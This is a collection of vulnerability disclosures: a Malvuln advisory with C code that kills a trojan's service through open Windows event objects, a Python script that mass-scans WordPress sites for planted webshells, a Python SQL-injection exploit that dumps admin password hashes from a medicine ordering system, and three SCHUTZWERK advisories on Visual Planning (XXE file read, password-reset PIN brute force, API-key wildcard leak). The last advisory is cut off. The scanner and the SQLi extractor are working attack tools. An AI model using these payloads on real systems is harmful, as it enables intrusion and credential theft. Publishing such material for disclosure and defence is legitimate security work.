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<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/0eb4a9089d3f7cf431d6547db3b9484d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan.Win32.Razy.abc Vulnerability: Insecure Permissions (In memory IPC) Family: Razy Type: PE32 MD5: 0eb4a9089d3f7cf431d6547db3b9484d SHA256: 3d82fee314e7febb8307ccf8a7396b6dd53c7d979a74aa56f3c4a6d0702fd098 Vuln ID: MVID-2024-0678 Dropped files: performer.exe Disclosure: 04/07/2024 Description: The trojan installs a service under "C:\Program Files (x86)\SmartData" and runs with SYSTEM integrity. Terminating the malware service would typically require high integrity user privileges. However, standard low integrity users can successfully terminate it by exploiting insecure Win32 in memory event objects "esnm" or "epp". Since no permissions are set on these IPC objects a low integrity user can set the DACL to deny access for the everyone user group, then set and reset the event to cause the malware to terminate. Interestingly, I used same technique to defeat RSA's EDR agent "netwitness" CVE-2022-47529. PE file "performer.exe" is ran using rundll32 RunHTMLApplication. Win32 API Event objects. performer.exe creates Event \BaseNamedObjects\epp ===> with no permissions set svchost_ms.exe creates Event \BaseNamedObjects\esnm ===> with no permissions set Exploit/PoC: "Trojan_Razy_Exploit.c" #include "windows.h" #include "stdio.h" #include "accctrl.h" #include "aclapi.h" #define OPEN_ALL_ACCESS 0x1F0003 /* John Page (aka hyp3rlinx) - circa April of 2024 Malvuln project Incorrect in-memory Win32 API access control allows termination of the malware service by a standard user. Trojan.Win32.Razy.abc MD5: 0eb4a9089d3f7cf431d6547db3b9484d */ char Vuln_Events[][32] = {"Global\\esnm", "Global\\epp"}; BOOL PWNED=FALSE; int main(void){ PACL pOldDACL = NULL; PACL pNewDACL = NULL; int i=0; for(; i < sizeof(Vuln_Events) / sizeof(Vuln_Events[0]); i++){ HANDLE hEvent = OpenEventA(OPEN_ALL_ACCESS,FALSE,(LPCSTR)Vuln_Events[i]); if (hEvent != INVALID_HANDLE_VALUE){ if(!PWNED){ printf("[+] Exploiting Trojan Razy Event: %s\n", Vuln_Events[i]); } if(GetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) == ERROR_SUCCESS){ TRUSTEE trustee[1]; trustee[0].TrusteeForm = TRUSTEE_IS_NAME; trustee[0].TrusteeType = TRUSTEE_IS_GROUP; trustee[0].ptstrName = TEXT("Everyone"); trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; trustee[0].pMultipleTrustee = NULL; EXPLICIT_ACCESS explicit_access_list[1]; ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS)); explicit_access_list[0].grfAccessMode = DENY_ACCESS; explicit_access_list[0].grfAccessPermissions = GENERIC_ALL; explicit_access_list[0].grfInheritance = NO_INHERITANCE; explicit_access_list[0].Trustee = trustee[0]; if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){ printf("%d", GetLastError()); } if(SetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){ printf("%d", GetLastError()); }else{ PWNED=TRUE; SetEvent(hEvent); Sleep(1000); ResetEvent(hEvent); CloseHandle(hEvent); Sleep(1000); } LocalFree(pNewDACL); LocalFree(pOldDACL); CloseHandle(hEvent); Sleep(1000); } } } if(PWNED){ printf("[+] Trojan.Win32.Razy.abc / MD5: 0eb4a9089d3f7cf431d6547db3b9484d PWNED!\n"); PWNED=FALSE; } printf("[+] By malvuln... Done!\n"); system("pause"); return 666; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload # Date: 2024-04-01 # Author: Milad Karimi (Ex3ptionaL) # Category : webapps # Tested on: windows 10 , firefox import sys import os.path import requests import re import urllib3 from requests.exceptions import SSLError from multiprocessing.dummy import Pool as ThreadPool from colorama import Fore, init init(autoreset=True) error_color = Fore.RED info_color = Fore.CYAN success_color = Fore.GREEN highlight_color = Fore.MAGENTA requests.urllib3.disable_warnings() headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8', 'Referer': 'www.google.com' } def URLdomain(url): if url.startswith("http://"): url = url.replace("http://", "") elif url.startswith("https://"): url = url.replace("https://", "") if '/' in url: url = url.split('/')[0] return url def check_security(url): fg = success_color fr = error_color try: url = 'http://' + URLdomain(url) check = requests.get(url + '/wp-content/themes/travelscape/json.php', headers=headers, allow_redirects=True, timeout=15) if 'MSQ_403' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('MSQ_403.txt', 'a').write(url + '/wp-content/themes/travelscape/json.php\n') else: url = 'https://' + URLdomain(url) check = requests.get(url + '/wp-content/themes/aahana/json.php', headers=headers, allow_redirects=True, verify=False, timeout=15) if 'MSQ_403' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('MSQ_403.txt', 'a').write(url + '/wp-content/themes/aahana/json.php\n') else: print(' -| ' + url + ' --> {}[Failed]'.format(fr)) check = requests.get(url + '/wp-content/themes/travel/issue.php', headers=headers, allow_redirects=True, timeout=15) if 'Yanz Webshell!' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('wso.txt', 'a').write(url + '/wp-content/themes/travel/issue.php\n') else: url = 'https://' + URLdomain(url) check = requests.get(url + '/about.php', headers=headers, allow_redirects=True, timeout=15) if 'Yanz Webshell!' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('wso.txt', 'a').write(url + '/about.php\n') else: url = 'https://' + URLdomain(url) check = requests.get(url + '/wp-content/themes/digital-download/new.php', headers=headers, allow_redirects=True, timeout=15) if '#0x2525' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('digital-download.txt', 'a').write(url + '/wp-content/themes/digital-download/new.php\n') else: print(' -| ' + url + ' --> {}[Failed]'.format(fr)) url = 'http://' + URLdomain(url) check = requests.get(url + '/epinyins.php', headers=headers, allow_redirects=True, timeout=15) if 'Uname:' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('wso.txt', 'a').write(url + '/epinyins.php\n') else: print(' -| ' + url + ' --> {}[Failed]'.format(fr)) url = 'https://' + URLdomain(url) check = requests.get(url + '/wp-admin/dropdown.php', headers=headers, allow_redirects=True, verify=False, timeout=15) if 'Uname:' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n') else: url = 'https://' + URLdomain(url) check = requests.get(url + '/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers, allow_redirects=True, verify=False, timeout=15) if 'Simple Shell' in check.text: print(' -| ' + url + ' --> {}[Successfully]'.format(fg)) open('dummyyummy.txt', 'a').write(url + '/wp-content/plugins/dummyyummy/wp-signup.php\n') else: print(' -| ' + url + ' --> {}[Failed]'.format(fr)) except Exception as e: print(f' -| {url} --> {fr}[Failed] due to: {e}') def main(): try: url_file_path = sys.argv[1] except IndexError: url_file_path = input(f"{info_color}Enter the path to the file containing URLs: ") if not os.path.isfile(url_file_path): print(f"{error_color}[ERROR] The specified file path is invalid.") sys.exit(1) try: urls_to_check = [line.strip() for line in open(url_file_path, 'r', encoding='utf-8').readlines()] except Exception as e: print(f"{error_color}[ERROR] An error occurred while reading the file: {e}") sys.exit(1) pool = ThreadPool(20) pool.map(check_security, urls_to_check) pool.close() pool.join() print(f"{info_color}Security check process completed successfully. Results are saved in corresponding files.") if __name__ == "__main__": main() </code></pre>

<pre><code># Exploit Title : Open Source Medicine Ordering System v1.0 - SQLi # Author : Onur Karasalihoğlu # Date : 27/02/2024 # Sample Usage % python3 omos_sqli_exploit.py https://target.com Available Databases: 1. information_schema 2. omosdb Please select a database to use (enter number): 2 You selected: omosdb Extracted Admin Users Data: 1 | Adminstrator | Admin | | 0192023a7bbd73250516f069df18b500 | admin 2 | John | Smith | D | 1254737c076cf867dc53d60a0364f38e | jsmith ''' import requests import re import sys def fetch_database_names(domain): url = f"{domain}/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT('enforsec',JSON_ARRAYAGG(CONCAT_WS(',',schema_name)),'enforsec')%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-" try: # HTTP request response = requests.get(url) response.raise_for_status() # exception for 4xx and 5xx requests # data extraction pattern = re.compile(r'enforsec\["(.*?)"\]enforsec') extracted_data = pattern.search(response.text) if extracted_data: databases = extracted_data.group(1).split(',') databases = [db.replace('"', '') for db in databases] print("Available Databases:") for i, db in enumerate(databases, start=1): print(f"{i}. {db}") # users should select omos database choice = int(input("Please select a database to use (enter number): ")) if 0 < choice <= len(databases): selected_db = databases[choice - 1] print(f"You selected: {selected_db}") fetch_data(domain, selected_db) else: print("Invalid selection.") else: print("No data extracted.") except requests.RequestException as e: print(f"HTTP Request failed: {e}") def fetch_data(domain, database_name): url = f"{domain}/admin/?page=reports&date=2024-02-22'%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,CONCAT('enforsec',JSON_ARRAYAGG(CONCAT_WS(',',`type`,firstname,lastname,middlename,password,username)),'enforsec') FROM {database_name}.users-- -" try: # HTTP request response = requests.get(url) response.raise_for_status() # exception for 4xx and 5xx requests # data extraction pattern = re.compile(r'enforsec\[(.*?)\]enforsec') extracted_data = pattern.search(response.text) if extracted_data: print("Extracted Admin Users Data:") data = extracted_data.group(1) rows = data.split('","') for row in rows: clean_row = row.replace('"', '') user_details = clean_row.split(',') print(" | ".join(user_details)) else: print("No data extracted.") except requests.RequestException as e: print(f"HTTP Request failed: {e}") def main(): if len(sys.argv) != 2: print("Usage: python3 omos_sqli_exploit.py <domain>") sys.exit(1) fetch_database_names(sys.argv[1]) if __name__ == "__main__": main() </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Title ===== SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in Visual Planning Status ====== PUBLISHED Version ======= 1.0 CVE reference ============= CVE-2023-49234 Link ==== https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-006/ Text-only version: https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-006.txt Affected products/vendor ======================== All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T. Summary ======= Authenticated attackers can exploit a weakness in the XML parser functionality of the Visual Planning[0] application in order to obtain read access to arbitrary files on the application server. Depending on configured access permissions, this vulnerability could be used by an attacker to exfiltrate secrets stored on the local file system. Risk ==== An attacker can use the vulnerability to gather information and depending on the stored data, exfiltrate secrets from the file system. Furthermore, HTTP requests can be used for out-of-bands exfiltration and possibly server side request forgery (SSRF) attacks. Description =========== During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an arbitrary file read vulnerability via XML external entities in Visual Planning. The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server. One of the messages sent by the Admin Center application after authentication is the following: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.parameters.GetApplicationProperty> <defaultValue> </defaultValue> <propertyName>PWD</propertyName> <rawResult>false</rawResult> <section>INSTALLDATA</section> <userSession isNull="true"/> </com.visualplanning.query.parameters.GetApplicationProperty> The method GetApplicationProperty is called to request the value of the property PWD. The server responds with an XML message, where the value element contains the response of the query: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.result.ApplicationPropertyResult> <resultValues/> <status>OK</status> <value> </value> </com.visualplanning.query.result.ApplicationPropertyResult> In this response it was observed that if the requested property value could not be resolved, the content of the request element defaultValue will be reflected as part of the response, making it a suitable back channel for XML external entity (XXE) injections. The following message was sent to the Visual Planning application: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "C:\xampp2\tomcat\webapps\vplanning\configuration\install.properties"> ]> <com.visualplanning.query.parameters.GetApplicationProperty> <defaultValue>&example;</defaultValue> <propertyName>ShowBackground</propertyName> <rawResult>false</rawResult> <section>Application</section> <userSession isNull="true"/> </com.visualplanning.query.parameters.GetApplicationProperty> The server responds with the content of the requested install.properties file inside the value element, thus confirming the XML parser is vulnerable to XML external entity (XXE) injections: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.result.ApplicationPropertyResult> <resultValues/> <status>OK</status> <value># #Tue Oct 03 15:37:33 CEST 2023 INSTALLDATA.INSTALLSERIAL= INSTALLDATA.INSTALLURL=http\://127.0.0.1\:8080/vplanning INSTALLDATA.OK=Next INSTALLDATA.PAGE=PROVIDER INSTALLDATA.POOLMODE=1 INSTALLDATA.PORT=3306 INSTALLDATA.PROVIDERTYPE=MySQL INSTALLDATA.PWD=ENCODE\: INSTALLDATA.SERVER=127.0.0.1 INSTALLDATA.SERVERLANG=de INSTALLDATA.USER=root INSTALLDATA.VIEWERSERIAL= </value> </com.visualplanning.query.result.ApplicationPropertyResult> Further testing showed that out-of-bands exfiltration via HTTPS requests is also generally possible. Solution/Mitigation =================== The vendor suggests to update to Visual Planning 8 (Build 240207) Disclosure timeline =================== 2023-11-01: Vulnerability discovered 2023-11-09: Contact vendor in order to determine security contact 2023-11-10: Received generic sales response from vendor 2023-11-14: Contacted CTO of vendor directly 2023-11-16: Vulnerabilities demonstrated in call with contact at vendor 2023-11-24: CVE assigned by Mitre 2023-11-24: Additional technical details provided to vendor 2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress 2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities 2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed 2024-03-08: Sent advisory drafts to vendor 2024-03-28: Received patch information and release of advisory Contact/Credits =============== The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH. References ========== [0] https://www.visual-planning.com/en/ Disclaimer ========== The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ). Additional information ====================== SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/ SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/ -----BEGIN PGP SIGNATURE----- iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0bcaHGFkdmlzb3Jp ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsdwA/+MyfbZTe36+AYi9q6GJE6 S75Xm2aZtEM3NC5F6aMcELqFEW7LNjERmBoqfkHe+SWfgFxeCXl/XelHaNnR7HTM ZZPCGwJmOI+XaraInPVdCDw1QVIdiCG4VZzE0tlnFbLBgM+OTOxcDOoG7OhzP6mm ALfankzxu3AfbZhwebQtSXIQ+YqjitTsvjQGPleylqYK5CJbChsyvmMjomu/GzdO sWQ25ODCVUy6VORet8yn5OkQnM2CjSkteuTdNxCzd6JUB+vQ0g5FCE5NVzkqYq21 YJ4Fc3PgkyAnrGefSbueL+Z/K6btM8RysJAwGahIEOdlkG8W/p09L0QQUGERT2VN UO6oTi/1OyoJBV9L5umr6aHss3P92ln90UAUW2dlZOdGSB8rlXisxLC1wtFZAXH9 YwiGY/ACXmV1FtQQpgFxfNRyEWaltU5S0Y0bPAaW+ABSMLlK4X0Ft9E/4s4Yel2d TGngEnVKcR/PKNtrJbBqPDwt98R0MdQi0QxBRaxGxAg4Yr1qex8ph6IRT7bDTm0/ 1CKlQL7y9uvXlnFE4CO3IkKNp0ejKn3A7QEep4jit07VItIc+sRsoMnB6v54DoML ZfIisDoijb3doTNieyMpgTGZTDWLwLO36IS9JiqafNCAnngExqylFX6vYQVggtRz mZ2yA2/9ZfQwOawEirQtQr8= =TUGM -----END PGP SIGNATURE----- -- SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany Zertifiziert / Certified ISO 27001, 9001 and TISAX Phone +49 731 977 191 0 advisories@schutzwerk.com / www.schutzwerk.com Geschäftsführer / Managing Directors: Jakob Pietzka, Michael Schäfer Amtsgericht Ulm / HRB 727391 Datenschutz / Data Protection www.schutzwerk.com/datenschutz </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Title ===== SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset Functionality in Visual Planning Status ====== PUBLISHED Version ======= 1.0 CVE reference ============= CVE-2023-49232 Link ==== https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-004/ Text-only version: https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-004.txt Affected products/vendor ======================== All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T. Summary ======= Unauthenticated attackers can exploit a weakness in the password reset functionality of the Visual Planning[0] application in order to obtain access to arbitrary user accounts including administrators. In case administrative (in the context of Visual Planning) accounts are compromised, attackers can install malicious modules into the application to take over the application server hosting the Visual Planning application. Risk ==== The application does not impose any limits on the number of guesses that can be made. Attackers can therefore initiate the reset for arbitrary users and automate the pin validation process until a valid pin is obtained. The vulnerability allows unauthenticated attackers to gain access to arbitrary user accounts including administrators. Failed pin validation attempts are not logged by the application which greatly increases the difficulty of detecting ongoing attacks. With administrative access to Admin Center, attackers can install malicious modules containing Java code that is executed on the application server, resulting in arbitrary command execution. The entire pin space can be enumerated in approximately one to two hours. Description =========== During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning's password reset functionality. The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server. One of the first messages sent by the Admin Center application after launch is the following: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.NamedMethodParameter> <methodName>canResetPassword</methodName> <rawResult>false</rawResult> <userSession isNull="true"/> <values/> </com.visualplanning.query.NamedMethodParameter> In this request, the client asks the server whether it should display the "Forgot your password ?" button as part of the login form. During the assessment, the server responded as follows: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.QueryResult> <resultValues> <HashtableValue> <key>resetPassword</key> <value class="java.lang.Boolean">false</value> </HashtableValue> </resultValues> <status>OK</status> </com.visualplanning.query.QueryResult> By altering the value to "true", the password reset functionality becomes accessible in the application. At this point, attackers can provide the target username. This causes a request similar to the following to be issued: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.NamedMethodParameter> <methodName>sendResetPasswwd</methodName> <rawResult>false</rawResult> <userSession isNull="true"/> <values> <HashtableValue> <key>login</key> <value class="String">admin</value> </HashtableValue> </values> </com.visualplanning.query.NamedMethodParameter> While handling this request, the server generates a five digit numeric pin and tries to send it to the email address associated with the provided username. Regardless of whether the email could be successfully transmitted, the generated pin is stored in a attribute of the session used while performing the reset. It should be noted that the password reset request message can be sent directly without enabling the button in the GUI if the message format is already known. To complete the reset process, the correct pin (matching the pin stored in the session attribute) must be specified. A message similar to the following is issued by the application to validiate the provided pin: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.NamedMethodParameter> <methodName>validateResetPasswwd</methodName> <rawResult>false</rawResult> <userSession isNull="true"/> <values> <HashtableValue> <key>login</key> <value class="String">admin</value> </HashtableValue> <HashtableValue> <key>userCode</key> <value class="String">58344</value> </HashtableValue> </values> </com.visualplanning.query.NamedMethodParameter> When an invalid pin is provided, the server responds with the following XML document: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.QueryResult> <resultValues> <HashtableValue> <key>ERROR</key> <value class="String">Invalid code.</value> </HashtableValue> </resultValues> <status>KO</status> </com.visualplanning.query.QueryResult> In case the pin is valid, the server responds with a VPUser data structure similar to the following: <?xml version="1.0" encoding="UTF-8"?> <com.visualplanning.query.QueryResult> <resultValues> <HashtableValue> <key>vpUser</key> <value class="com.visualplanning.data.admin.VPUser"> <ID>1</ID> <UID>C442-53EB-B185-8804-F6BF-70AC-61C3-31BC</UID> <activated>true</activated> <comments>Super administrateur</comments> <email>yahd6Coo@schutzwerk.com</email> <expiredPasswd>false</expiredPasswd> <groups/> <imageProfilBase64></imageProfilBase64> <ldapSetting> <entityID>-1</entityID> </ldapSetting> <licenses/> <loginAttemps>0</loginAttemps> <mobilePhoneNumber></mobilePhoneNumber> <name>admin</name> <ownerID>0</ownerID> <phoneNumber></phoneNumber> <platform>VP</platform> <resetPasswd>true</resetPasswd> <resourceUser>false</resourceUser> </value> </HashtableValue> </resultValues> <status>OK</status> </com.visualplanning.query.QueryResult> In addition, an empty password is set for the target username. Upon first login after reset, a new password must be set for this user. Solution/Mitigation =================== The vendor suggests to update to Visual Planning 8 (Build 240207) Disclosure timeline =================== 2023-11-01: Vulnerability discovered 2023-11-09: Contact vendor in order to determine security contact 2023-11-10: Received generic sales response from vendor 2023-11-14: Contacted CTO of vendor directly 2023-11-16: Vulnerabilities demonstrated in call with contact at vendor 2023-11-24: CVE assigned by Mitre 2023-11-24: Additional technical details provided to vendor 2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress 2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities 2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed 2024-03-08: Sent advisory drafts to vendor 2024-03-28: Received patch information and release of advisory Contact/Credits =============== The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH. References ========== [0] https://www.visual-planning.com/en/ [1] https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html Disclaimer ========== The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH's website ( https://www.schutzwerk.com ). Additional information ====================== SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/ SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/ -----BEGIN PGP SIGNATURE----- iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj 660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8/YXZhFNtkccsdxRll3t3UxC3IOU /h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4 PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS/UIyaIImgS6pyBDOJUHULiMKumZYHCl r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ/onU2P um41+KNb7h7Pf/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx +Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt/ CTQ2Nugk2kdYf5d73FSO9ds= =PvYR -----END PGP SIGNATURE----- -- SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany Zertifiziert / Certified ISO 27001, 9001 and TISAX Phone +49 731 977 191 0 advisories@schutzwerk.com / www.schutzwerk.com Geschäftsführer / Managing Directors: Jakob Pietzka, Michael Schäfer Amtsgericht Ulm / HRB 727391 Datenschutz / Data Protection www.schutzwerk.com/datenschutz </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Title ===== SCHUTZWERK-SA-2023-003: Authentication Bypass in Visual Planning REST API Status ====== PUBLISHED Version ======= 1.0 CVE reference ============= CVE-2023-49231 Link ==== https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-003/ Text-only version: https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-003.txt Affected products/vendor ======================== All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T. Summary ======= A wildcard injection inside a prepared SQL statement was found in an undocumented Visual Planning[0] 8 REST API route. The combination of fuzzy matching (via LIKE operator) and user-controlled input allows exfiltrating the REST API key based on distinguishable server responses. If exploited, attackers are able to gain administrative access to the REST API v2.0. Risk ==== The vulnerability allows attackers to obtain a valid API key for the Visual Planning REST API v2.0. With such a key, attackers can use corresponding endpoints to exfiltrate company data or upload/download files. If no external user management (e.g. LDAP) is configured, the API key can also be used for user management tasks including the creation of administrative users. Since administrators are allowed to upload modules using the Visual Planning Admin Center, a compromise of the underlying server is likely. Description =========== During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning's administrative REST API v2.0.[1] Corresponding API routes are implemented in the PlanningWSRestV2.java file. A comparison between the documentation and implemented routes revealed an undocumented route (documentation accessed on 2024-03-05), which is externally reachable via a GET request to the /session endpoint. The following code snippet shows the corresponding undocumented route, which takes the value of the apikey header as an argument: vp.jar.src/com/visualplanning/webservice/PlanningWSRestV2.java /* */ @GET /* */ @Path("/session") /* */ public Response openSession(@HeaderParam("apikey") String apikey, @HeaderParam("keepalive") String keepalive) { /* 123 */ if (apikey == null || apikey.trim().isEmpty()) { /* 124 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey); /* */ } /* */ /* 127 */ WSSession session = WSSession.existsSession(apikey); /* 128 */ if (session != null) { /* 129 */ return WSResponse.instance().error((Response.StatusType)Response.Status.FORBIDDEN, "Already opened session for apikey : ", apikey); /* */ } /* */ /* 132 */ if (WSSession.getSession(apikey, (keepalive != null && Boolean.parseBoolean(keepalive) == true)) == null) { /* 133 */ return WSResponse.instance().errorApikey((Response.StatusType)Response.Status.FORBIDDEN, apikey); /* */ } /* 135 */ return WSResponse.instance().success("WSSession created for apikey : " + apikey); /* */ } Line 132 shows a call to the getSession(apikey, ...) method of the WSSession class. Subsequently, the getSession(..) method will call the makeSession(apikey, ..) method of the same class. The following code snippet shows the makeSession(..) method. Line 646 contains the vulnerable prepared SQL statement, which is prone to wildcard injections[2] due to the usage of the LIKE operator in combination with user-controlled input: vp.jar.src/com/visualplanning/webservice/WSSession.java /* */ private static WSSession makeSession(String apiKey, WSSessionType type) { /* 634 */ WSSession wsSession = new WSSession(); /* 635 */ WebApplicationContext applicationContext = WebApplicationContext.getDefaultApplication(); /* 636 */ UserSession userSession = applicationContext.createUserSession(); /* */ /* 638 */ DBConnection connection = applicationContext.createUserSession().getDBConnection(); /* 639 */ String databaseName = applicationContext.getProperty("Application", "Databasename", "VisualPlanning7"); /* */ /* 641 */ connection.setPoolMode(false); /* 642 */ connection.setDatabase(databaseName); /* */ /* */ try { /* 645 */ if (type == WSSessionType.CLIENT) { /* 646 */ String planningQuery = "SELECT XMLContent FROM Planning WHERE XMLContent LIKE ?"; /* 647 */ PreparedStatement stmt = connection.createPreparedStatement(planningQuery); /* 648 */ stmt.setString(1, "%<APIKey>" + apiKey + "</APIKey>%"); /* 649 */ ResultSet rs = stmt.executeQuery(); /* */ /* 651 */ if (!rs.next()) { /* 652 */ return null; /* */ } The following GET request demonstrates the behavior of injecting a percent sign as wildcard character: GET /vplanning/api/v2/session HTTP/1.1 Host: vp-host apikey: % [..] The server will respond with a success message, indicating that a session was created for the used API key: HTTP/1.1 200 [..] WSSession created for apikey : % Further tests showed that an apikey header payload of '1%' will result in a similar success response, if the api key starts with the character '1'. A payload with a different non-matching first apikey character like '2%' will result in a status code 403 and the error message 'Invalid API key (2%)'. The proof-of-concept script brute_vp_apikey.py[3] was developed in order to automate the process of exfiltrating the full apikey. The script can be executed as follows against a vulnerable Visual Planning instance and to extract the administrative api key: $ python3 brute_vp_apikey.py --url http://127.0.0.1:8080 Visual Planning API Key: 79d4add3-6995-8cae-976b-4aaaddd90616 Solution/Mitigation =================== The vendor suggests to update to Visual Planning 8 (Build 240207) Disclosure timeline =================== 